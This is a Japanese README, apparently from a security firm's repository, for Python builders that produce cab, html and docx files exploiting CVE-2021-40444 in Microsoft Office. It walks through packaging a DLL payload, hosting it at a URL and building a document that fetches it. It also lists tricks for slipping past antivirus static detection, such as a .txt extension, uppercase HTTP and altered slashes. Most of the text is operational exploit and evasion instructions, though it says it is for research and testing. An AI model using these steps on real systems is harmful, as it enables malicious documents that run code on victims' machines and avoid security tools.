このリポジトリには、CVE-2021-40444エクスプロイト用のcabファイル、htmlファイル、docxファイルのビルダーが含まれています。このリポジトリはテスト、研究、教育目的のみです。このリポジトリで提供されるコードの使用方法については、各自の責任でお願いします。
このコードは、野良で見つかったマルウェアサンプルをリバースエンジニアリングし、さまざまなセキュリティ研究者によって共有されたものに基づいています。
このCVEのビルダーは既に公開されています。このリポジトリの目的は、現時点で、さまざまなAVベンダーによるdocxファイルの静的検出をどの程度効果的にバイパスできるかを確認することです。
JSコードはオンラインツールや手動で簡単に難読化できます。しかし、docxファイルにはdocument.xml.relsという1つのファイルのみが含まれており、これに基づいてシグネチャが作成されます。そのファイル内で改変できる部分を探り、ほとんどのAVの静的検出を回避します。
cabrc.exeはInternet Explorer Administration Kitに含まれているMicrosoftの実行ファイルで、https://docs.microsoft.com/en-us/internet-explorer/ie11-ieak/ieak-information-and-downloads からダウンロードできます。インストール後、このexeは "C:\Program Files (x86)\Windows IEAK 11" にあります。
3つのビルダーがあります。
このコードはpython 2.7で動作します。
まず、CVE-2021-40444フォルダに移動し、dllファイルを配置してIEcache.infにリネームします（または、既にある電卓dllを使用することもできます）。
次に、sourceフォルダに移動してcabファイルを生成します
c:\cve-2021-40444\sources\python generate_cab.py
cabファイルをアップロードし、cabファイルのURLを使用してhtmlファイルを生成します
c:\cve-2021-40444\sources\python generate_html.py http://192.168.1.12/new/winupdate.cab tests.txt (注：html拡張子の代わりに.txtを使用すると、エクスプロイトは引き続き動作しますが、AVをバイパスします)
最後に、htmlファイルをアップロードしてdocファイルを生成します。AVをバイパスするために、httpの代わりにHTTP（大文字）を使用し、"/"の代わりに""を使用します。また、x-usc:も不要です。
例： c:\cve-2021-40444\sources\python generate_doc.py HTTP:\\192.168.1.12\new\tests.txt
結果が目の前に表示されます。
www.aslitsecurity.com
[email protected]
